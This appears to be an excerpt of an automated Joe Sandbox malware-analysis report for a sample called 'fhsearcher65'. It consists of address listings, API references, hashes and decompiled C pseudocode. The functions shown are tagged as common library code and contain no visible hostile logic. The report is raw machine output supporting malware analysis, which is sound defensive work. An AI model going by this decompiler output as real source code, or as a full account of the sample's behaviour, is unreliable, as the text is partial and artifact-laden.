0x00000000
0x1000c2a8
0x1000c2a8
0x00000000
0x1000c2a8
0x1000c2a2
0x1000c1a5
0x1000c1b4
0x1000c1b5
0x1000c1b8
0x1000c1bb
0x1000c1c0
0x1000c3d6
0x1000c3d8
0x1000c3da
0x1000c3dc
0x1000c3e6
0x1000c3ee
0x1000c3f0
0x1000c3f1
0x1000c3f5
0x1000c3f8
0x1000c3f8
0x1000c3fc
0x1000c3fc
0x1000c3fc
0x1000c3ff
0x1000c3ff
0x1000c3ff
0x1000c401
0x1000c401
0x1000c405
0x1000c1c6
0x1000c1c6
0x1000c1c9
0x1000c1cb
0x1000c1ce
0x1000c1d1
0x1000c1d5
0x1000c1d6
0x1000c1da
0x1000c1dd
0x1000c1e2
0x1000c1ec
0x1000c1f1
0x1000c1f4
0x1000c1f7
0x1000c1f7
0x1000c1fa
0x1000c1fd
0x1000c1ff
0x1000c208
0x1000c20c
0x1000c20d
0x1000c211
0x1000c217
0x1000c220
0x1000c22d
0x1000c234
0x1000c238
0x1000c243
0x1000c248
0x1000c24e
0x00000000
0x1000c254
0x1000c2ab
0x1000c2ac
0x1000c32f
0x1000c336
0x1000c33e
0x1000c346
0x1000c34b
0x1000c34e
0x1000c353
0x00000000
0x1000c359
0x1000c36e
0x1000c44e
0x1000c454
0x00000000
0x1000c374
0x1000c37d
0x1000c37f
0x1000c385
0x00000000
0x1000c38b
0x1000c38f
0x1000c3c5
0x1000c3c8
0x00000000
0x1000c3ce
0x1000c3ce
0x00000000
0x1000c3ce
0x1000c391
0x1000c393
0x1000c395
0x1000c3ae
0x00000000
0x1000c3b4
0x1000c3b8
0x00000000
0x1000c3be
0x1000c3be
0x1000c3c1
0x1000c3c2
0x00000000
0x1000c3c2
0x1000c3b8
0x1000c3ae
0x1000c38f
0x1000c385
0x1000c36e
0x1000c353
0x1000c24e
0x1000c1c0
0x00000000
0x1000c2b0
0x1000c2b0
0x1000c2b4
0x1000c2b7
0x1000c2d9
0x1000c2dc
0x1000c2e1
0x1000c2e5
0x1000c2e9
0x1000c317
0x1000c319
0x00000000
0x1000c2eb
0x1000c2eb
0x1000c2eb
0x1000c2ee
0x1000c2f1
0x1000c2f4
0x1000c42b
0x1000c42e
0x1000c431
0x1000c43b
0x1000c446
0x1000c44b
0x00000000
0x1000c2fa
0x1000c301
0x1000c306
0x1000c309
0x1000c30c
0x00000000
0x1000c312
0x1000c312
0x00000000
0x1000c312
0x1000c30c
0x1000c2f4
0x1000c2b9
0x1000c2bd
0x1000c2c0
0x1000c2c5
0x1000c2cb
0x1000c2cd
0x1000c2d4
0x1000c31a
0x1000c31d
0x1000c31e
0x1000c323
0x1000c326
0x1000c329
0x00000000
0x00000000
0x00000000
0x00000000
0x1000c329
0x00000000
0x1000c2b7
0x1000c152
0x1000c45a
0x1000c45a
0x1000c45c
0x1000c45f
0x1000c45f
0x1000c45f
0x1000c45f
0x1000c471
0x1000c473
0x1000c474
0x1000c475
0x1000c47f

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000C11C
__fassign.LIBCMT ref: 1000C301
__fassign.LIBCMT ref: 1000C31E
WriteFile.KERNEL32(?,10008E0A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000C366
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000C3A6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000C44E

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 98efbe4c6ee7657adc3feaa6b2c886c835ef08a3cb57c6140dfa4e34a11008b6
Instruction ID: d8b638840345e1b49b0cc72bb3c582407c8398851cd7aadc47a9f3c0936b2730
Opcode Fuzzy Hash: 98efbe4c6ee7657adc3feaa6b2c886c835ef08a3cb57c6140dfa4e34a11008b6
Instruction Fuzzy Hash: E4C19E75D0025C9FEB11CFE8C8909EDBBB5FF08354F28816AE855B7246D631AE06CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00412154 Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00412154(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x43d080 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00413480(_t13, __eflags,  *0x43d080);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E004134BB(_t14, __eflags,  *0x43d080, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E0041984E();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E004134BB(_t18, __eflags,  *0x43d080, 0);
								} else {
									_t8 = E004134BB(_t18, __eflags,  *0x43d080, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E00416328(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x00412154
0x0041215b
0x0041216e
0x00412175
0x00412177
0x00412178
0x0041217b
0x00412194
0x00412194
0x0041217d
0x0041217d
0x0041217f
0x00412189
0x00412190
0x00412192
0x00412199
0x004121a2
0x004121a5
0x004121a6
0x004121a8
0x004121bc
0x004121bc
0x004121c5
0x004121aa
0x004121b1
0x004121b7
0x004121b8
0x004121ba
0x004121ce
0x004121d0
0x004121d0
0x00000000
0x00000000
0x00000000
0x004121ba
0x004121d3
0x00000000
0x00000000
0x00000000
0x00412192
0x0041217f
0x004121db
0x004121e5
0x0041215d
0x0041215f
0x0041215f

APIs

GetLastError.KERNEL32(?,?,0041214B,0041054F,0040FB89), ref: 00412162
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00412170
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00412189
SetLastError.KERNEL32(00000000,0041214B,0041054F,0040FB89), ref: 004121DB

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 45bd82ce1dbd3c8e72b1b680d8146cb8cc17257a2e8ce5ccc350ce85e15801c5
Instruction ID: 98c34316aad4668728c0c6d4985acf80f193a8e9ac328ab6d2ea4ae409a170cc
Opcode Fuzzy Hash: 45bd82ce1dbd3c8e72b1b680d8146cb8cc17257a2e8ce5ccc350ce85e15801c5
Instruction Fuzzy Hash: E8014C326093217E962967767E496D72B64EB01B3D720023FFA10C12E1EF9D4CE3514C

Uniqueness

Uniqueness Score: -1.00%

Function 100048EA Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E100048EA(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x10017020 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E10005AAB(_t13, __eflags,  *0x10017020);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E10005AE6(_t14, __eflags,  *0x10017020, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E10007782();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E10005AE6(_t18, __eflags,  *0x10017020, 0);
								} else {
									_t8 = E10005AE6(_t18, __eflags,  *0x10017020, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E100069B0(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x100048ea
0x100048f1
0x10004904
0x1000490b
0x1000490d
0x1000490e
0x10004911
0x1000492a
0x1000492a
0x10004913
0x10004913
0x10004915
0x1000491f
0x10004926
0x10004928
0x1000492f
0x10004938
0x1000493b
0x1000493c
0x1000493e
0x10004952
0x10004952
0x1000495b
0x10004940
0x10004947
0x1000494d
0x1000494e
0x10004950
0x10004964
0x10004966
0x10004966
0x00000000
0x00000000
0x00000000
0x10004950
0x10004969
0x00000000
0x00000000
0x00000000
0x10004928
0x10004915
0x10004971
0x1000497b
0x100048f3
0x100048f5
0x100048f5

APIs

GetLastError.KERNEL32(00000001,?,100046F1,100038AA,100032A7,?,100034DF,?,00000001,?,?,00000001,?,10015758,0000000C,100035D8), ref: 100048F8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10004906
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000491F
SetLastError.KERNEL32(00000000,100034DF,?,00000001,?,?,00000001,?,10015758,0000000C,100035D8,?,00000001,?), ref: 10004971

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7a07fe8dd6e183f70e1ed33fe8cb46bc5f72bd9116114fb4a898372d9b8b1887
Instruction ID: aa6f2bb6e0f81693f4a69917c870ce6a712f51b8e9c958d3c9a19b96842cdbe6
Opcode Fuzzy Hash: 7a07fe8dd6e183f70e1ed33fe8cb46bc5f72bd9116114fb4a898372d9b8b1887
Instruction Fuzzy Hash: 5D01287760D322AEF211C7746CC960B26A5FB096F57224339F514511F9EF619C019248

Uniqueness

Uniqueness Score: -1.00%

Function 00423FEE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00423FEE(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				void* __ebx;
				void* __edi;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t204;
				signed int _t206;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int* _t219;
				signed int _t222;
				void* _t225;
				union _FINDEX_INFO_LEVELS _t226;
				void* _t227;
				intOrPtr _t229;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				intOrPtr* _t239;
				signed int _t241;
				intOrPtr* _t244;
				signed int _t249;
				signed int _t255;
				signed int _t257;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t272;
				signed int _t274;
				intOrPtr* _t275;
				void* _t277;
				signed int _t280;
				signed int _t283;
				signed int _t285;
				intOrPtr _t287;
				void* _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				void* _t300;
				void* _t301;
				signed int _t302;
				void* _t306;
				signed int _t307;
				void* _t308;
				void* _t309;
				void* _t310;
				signed int _t311;
				void* _t312;
				void* _t313;

				_t131 = _a8;
				_t309 = _t308 - 0x28;
				_push(__esi);
				_t317 = _t131;
				if(_t131 != 0) {
					_t292 = _a4;
					_t222 = 0;
					 *_t131 = 0;
					_t283 = 0;
					_t132 =  *_t292;
					_t232 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t222;
						_t134 = _t232 - _t283;
						_t293 = _t283;
						_v12 = _t293;
						_t271 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t232 - _t293;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t295;
						if(_t295 != 0) {
							_t213 = _t283;
							_t280 = _t222;
							do {
								_t264 =  *_t213;
								_t20 = _t264 + 1; // 0x1
								_v20 = _t20;
								do {
									_t215 =  *_t264;
									_t264 = _t264 + 1;
									__eflags = _t215;
								} while (_t215 != 0);
								_t222 = _t222 + 1 + _t264 - _v20;
								_t213 = _v12 + 4;
								_t280 = _t280 + 1;
								_v12 = _t213;
								__eflags = _t280 - _t295;
							} while (_t280 != _t295);
							_t271 = _v16;
							_v8 = _t222;
							_t222 = 0;
							__eflags = 0;
						}
						_t296 = E0041A947(_t136, _t271, _v8, 1);
						_t310 = _t309 + 0xc;
						__eflags = _t296;
						if(_t296 != 0) {
							_v12 = _t283;
							_t139 = _t296 + _v16 * 4;
							_t233 = _t139;
							_v28 = _t139;
							_t140 = _t283;
							_v16 = _t233;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t222;
								 *_a8 = _t296;
								_t297 = _t222;
								goto L25;
							} else {
								_t274 = _t296 - _t283;
								__eflags = _t274;
								_v32 = _t274;
								do {
									_t150 =  *_t140;
									_t275 = _t150;
									_v24 = _t150;
									_v20 = _t275 + 1;
									do {
										_t152 =  *_t275;
										_t275 = _t275 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t275 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E0042827C(_t233, _v28 - _t233 + _v8, _v24);
									_t310 = _t310 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										E004138F4();
										asm("int3");
										_t306 = _t310;
										_push(_t233);
										_t239 = _v72;
										_t65 = _t239 + 1; // 0x1
										_t277 = _t65;
										do {
											_t159 =  *_t239;
											_t239 = _t239 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t283);
										_t285 = _a8;
										_t241 = _t239 - _t277 + 1;
										_v12 = _t241;
										__eflags = _t241 -  !_t285;
										if(_t241 <=  !_t285) {
											_push(_t222);
											_push(_t296);
											_t68 = _t285 + 1; // 0x1
											_t225 = _t68 + _t241;
											_t300 = E0041E60B(_t225, 1);
											__eflags = _t285;
											if(_t285 == 0) {
												L40:
												_push(_v12);
												_t225 = _t225 - _t285;
												_t164 = E0042827C(_t300 + _t285, _t225, _v0);
												_t311 = _t310 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t229 = _a12;
													_t206 = E00424521(_t229);
													_v12 = _t206;
													__eflags = _t206;
													if(_t206 == 0) {
														 *( *(_t229 + 4)) = _t300;
														_t302 = 0;
														_t77 = _t229 + 4;
														 *_t77 =  *(_t229 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E0041E668(_t300);
														_t302 = _v12;
													}
													E0041E668(0);
													_t209 = _t302;
													goto L37;
												}
											} else {
												_push(_t285);
												_t211 = E0042827C(_t300, _t225, _a4);
												_t311 = _t310 + 0x10;
												__eflags = _t211;
												if(_t211 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E004138F4();
													asm("int3");
													_push(_t306);
													_t307 = _t311;
													_t312 = _t311 - 0x298;
													_t166 =  *0x43d054; // 0xd71f2cec
													_v124 = _t166 ^ _t307;
													_t244 = _v108;
													_t278 = _v104;
													_push(_t225);
													_push(0);
													_t287 = _v112;
													_v724 = _t278;
													__eflags = _t244 - _t287;
													if(_t244 != _t287) {
														while(1) {
															_t204 =  *_t244;
															__eflags = _t204 - 0x2f;
															if(_t204 == 0x2f) {
																break;
															}
															__eflags = _t204 - 0x5c;
															if(_t204 != 0x5c) {
																__eflags = _t204 - 0x3a;
																if(_t204 != 0x3a) {
																	_t244 = E0042B4C0(_t287, _t244);
																	__eflags = _t244 - _t287;
																	if(_t244 != _t287) {
																		continue;
																	}
																}
															}
															break;
														}
														_t278 = _v616;
													}
													_t168 =  *_t244;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t226 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t226;
														_v672 = _t226;
														_push(_t300);
														asm("sbb eax, eax");
														_v668 = _t226;
														_v664 = _t226;
														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
														_v660 = _t226;
														_v656 = _t226;
														_t175 = E0041A10B(_t244 - _t287 + 1, _t287,  &_v676, E00423EC8(_t278, __eflags));
														_t313 = _t312 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
														_t301 = _t179;
														__eflags = _t301 - 0xffffffff;
														if(_t301 != 0xffffffff) {
															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t249;
															_v648 = _t249 >> 2;
															do {
																_v640 = _t226;
																_v636 = _t226;
																_v632 = _t226;
																_v628 = _t226;
																_v624 = _t226;
																_v620 = _t226;
																_t185 = E00423F1F( &(_v608.cFileName),  &_v640,  &_v609, E00423EC8(_t278, __eflags));
																_t313 = _t313 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t287);
																	_push(_t188);
																	L33();
																	_t313 = _t313 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t226;
																		if(_v620 != _t226) {
																			E0041E668(_v632);
																			_t188 = _v652;
																		}
																		_t226 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t255 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t255;
																	if(_t255 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t255 - 0x2e;
																		if(_t255 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t301);
																goto L77;
																L68:
																__eflags = _v620 - _t226;
																if(_v620 != _t226) {
																	E0041E668(_v632);
																}
																__eflags = FindNextFileW(_t301,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t257 = _v648;
															_t278 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t257 - _t199;
															if(_t257 != _t199) {
																E00416990(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E00423F07);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t226);
															_push(_t226);
															_push(_t287);
															L33();
															_t226 = _t179;
														}
														L77:
														__eflags = _v656;
														_pop(_t300);
														if(_v656 != 0) {
															E0041E668(_v668);
														}
														_t190 = _t226;
													} else {
														_t190 = _t287 + 1;
														__eflags = _t244 - _t287 + 1;
														if(_t244 == _t287 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t278);
															_push(0);
															_push(0);
															_push(_t287);
															L33();
														}
													}
													_pop(_t288);
													__eflags = _v16 ^ _t307;
													_pop(_t227);
													return E0040EF6F(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
												} else {
													goto L40;
												}
											}
										} else {
											_t209 = 0xc;
											L37:
											return _t209;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t212 = _v12;
									_t263 = _v16;
									 *((intOrPtr*)(_v32 + _t212)) = _t263;
									_t140 = _t212 + 4;
									_t233 = _t263 + _v20;
									_v16 = _t233;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t297 = _t296 | 0xffffffff;
							_v12 = _t297;
							L25:
							E0041E668(_t222);
							_pop(_t234);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t222;
							_t217 = E0042B480(_t132,  &_v8);
							_t234 =  *_t292;
							__eflags = _t217;
							if(_t217 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t217);
								_push(_t234);
								L46();
								_t309 = _t309 + 0xc;
								_v12 = _t217;
								_t297 = _t217;
							} else {
								_t218 =  &(_v608.cAlternateFileName);
								_push(_t218);
								_push(_t222);
								_push(_t222);
								_push(_t234);
								L33();
								_t297 = _t218;
								_t309 = _t309 + 0x10;
								_v12 = _t297;
							}
							__eflags = _t297;
							if(_t297 != 0) {
								break;
							}
							_t292 =  &(_a4[1]);
							_a4 = _t292;
							_t132 =  *_t292;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t283 = _v608.cAlternateFileName;
								_t232 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t283 = _v608.cAlternateFileName;
						L26:
						_t272 = _t283;
						_v32 = _t272;
						__eflags = _v40 - _t272;
						asm("sbb ecx, ecx");
						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
						__eflags = _t236;
						_v28 = _t236;
						if(_t236 != 0) {
							_t299 = _t236;
							do {
								E0041E668( *_t283);
								_t222 = _t222 + 1;
								_t283 = _t283 + 4;
								__eflags = _t222 - _t299;
							} while (_t222 != _t299);
							_t283 = _v608.cAlternateFileName;
							_t297 = _v12;
						}
						E0041E668(_t283);
						goto L31;
					}
				} else {
					_t219 = E004139A1(_t317);
					_t297 = 0x16;
					 *_t219 = _t297;
					E004138C7();
					L31:
					return _t297;
				}
				L81:
			}

0x00423ff3
0x00423ff6
0x00423ff9
0x00423ffa
0x00423ffc
0x00424012
0x00424016
0x00424019
0x0042401b
0x0042401d
0x0042401f
0x00424021
0x00424024
0x00424027
0x0042402a
0x0042402c
0x0042408f
0x00424091
0x00424094
0x00424096
0x0042409a
0x004240a3
0x004240a4
0x004240a7
0x004240a9
0x004240ac
0x004240b0
0x004240b0
0x004240b2
0x004240b4
0x004240b6
0x004240b8
0x004240b8
0x004240ba
0x004240bd
0x004240c0
0x004240c0
0x004240c2
0x004240c3
0x004240c3
0x004240ce
0x004240d0
0x004240d3
0x004240d4
0x004240d7
0x004240d7
0x004240db
0x004240de
0x004240e1
0x004240e1
0x004240e1
0x004240ee
0x004240f0
0x004240f3
0x004240f5
0x0042410d
0x00424110
0x00424113
0x00424115
0x00424118
0x0042411a
0x0042411d
0x00424120
0x0042417d
0x00424180
0x00424183
0x00424185
0x00000000
0x00424122
0x00424124
0x00424124
0x00424126
0x00424129
0x00424129
0x0042412b
0x0042412d
0x00424133
0x00424136
0x00424136
0x00424138
0x00424139
0x00424139
0x00424140
0x00424143
0x00424147
0x00424154
0x00424159
0x0042415c
0x0042415e
0x004241d2
0x004241d3
0x004241d4
0x004241d5
0x004241d6
0x004241d7
0x004241dc
0x004241e0
0x004241e2
0x004241e3
0x004241e6
0x004241e6
0x004241e9
0x004241e9
0x004241eb
0x004241ec
0x004241ec
0x004241f0
0x004241f1
0x004241f8
0x004241fb
0x004241fe
0x00424200
0x00424208
0x00424209
0x0042420a
0x0042420d
0x00424217
0x0042421b
0x0042421d
0x00424231
0x00424231
0x00424234
0x0042423e
0x00424243
0x00424246
0x00424248
0x00000000
0x0042424a
0x0042424a
0x0042424f
0x00424256
0x00424259
0x0042425b
0x0042426c
0x0042426e
0x00424270
0x00424270
0x00424270
0x0042425d
0x0042425e
0x00424263
0x00424266
0x00424275
0x0042427b
0x00000000
0x0042427e
0x0042421f
0x0042421f
0x00424225
0x0042422a
0x0042422d
0x0042422f
0x00424281
0x00424283
0x00424284
0x00424285
0x00424286
0x00424287
0x00424288
0x0042428d
0x00424290
0x00424291
0x00424293
0x00424299
0x004242a0
0x004242a3
0x004242a6
0x004242a9
0x004242aa
0x004242ab
0x004242ae
0x004242b4
0x004242b6
0x004242b8
0x004242b8
0x004242ba
0x004242bc
0x00000000
0x00000000
0x004242be
0x004242c0
0x004242c2
0x004242c4
0x004242cf
0x004242d1
0x004242d3
0x00000000
0x00000000
0x004242d3
0x004242c4
0x00000000
0x004242c0
0x004242d5
0x004242d5
0x004242db
0x004242dd
0x004242e3
0x004242e5
0x00424307
0x00424307
0x00424309
0x0042430b
0x00424317
0x00424317
0x0042430d
0x0042430d
0x0042430f
0x00000000
0x00424311
0x00424311
0x00424313
0x00424315
0x00000000
0x00000000
0x00424315
0x0042430f
0x0042431f
0x00424327
0x0042432d
0x0042432e
0x00424330
0x00424338
0x0042433e
0x00424344
0x0042434a
0x0042435e
0x00424363
0x0042436e
0x0042437e
0x00424384
0x00424386
0x00424389
0x004243ac
0x004243ac
0x004243b1
0x004243b7
0x004243b7
0x004243bd
0x004243c3
0x004243c9
0x004243cf
0x004243d5
0x004243f6
0x004243fb
0x00424400
0x00424404
0x0042440a
0x0042440d
0x00424420
0x00424420
0x00424426
0x0042442c
0x0042442d
0x0042442e
0x00424433
0x00424436
0x0042443c
0x0042443e
0x0042449c
0x004244a2
0x004244aa
0x004244af
0x004244b5
0x004244b6
0x00000000
0x00000000
0x00000000
0x0042440f
0x0042440f
0x00424412
0x00424414
0x00000000
0x00424416
0x00424416
0x00424419
0x00000000
0x0042441b
0x0042441b
0x0042441e
0x00000000
0x00000000
0x00000000
0x00000000
0x0042441e
0x00424419
0x00424414
0x004244b8
0x004244b9
0x00000000
0x00424440
0x00424440
0x00424446
0x0042444e
0x00424453
0x00424462
0x00424462
0x0042446a
0x00424470
0x00424476
0x0042447d
0x00424480
0x00424482
0x00424492
0x00424497
0x00000000
0x0042438b
0x0042438b
0x00424391
0x00424392
0x00424393
0x00424394
0x0042439c
0x0042439c
0x004244bf
0x004244bf
0x004244c6
0x004244c7
0x004244cf
0x004244d4
0x004244d5
0x004242e7
0x004242e7
0x004242ea
0x004242ec
0x00424301
0x00000000
0x004242ee
0x004242ee
0x004242f1
0x004242f2
0x004242f3
0x004242f4
0x004242f9
0x004242ec
0x004244da
0x004244db
0x004244dd
0x004244e4
0x00000000
0x00000000
0x00000000
0x0042422f
0x00424202
0x00424204
0x00424205
0x00424207
0x00424207
0x00000000
0x00000000
0x00000000
0x00000000
0x00424160
0x00424160
0x00424166
0x00424169
0x0042416c
0x0042416f
0x00424172
0x00424175
0x00424178
0x00424178
0x00000000
0x00424129
0x004240f7
0x004240f7
0x004240fa
0x00424187
0x00424188
0x0042418d
0x00000000
0x0042418d
0x0042402e
0x0042402e
0x00424031
0x00424039
0x0042403c
0x00424043
0x00424045
0x00424047
0x00424062
0x00424063
0x00424064
0x00424065
0x0042406a
0x0042406d
0x00424070
0x00424049
0x00424049
0x0042404c
0x0042404d
0x0042404e
0x0042404f
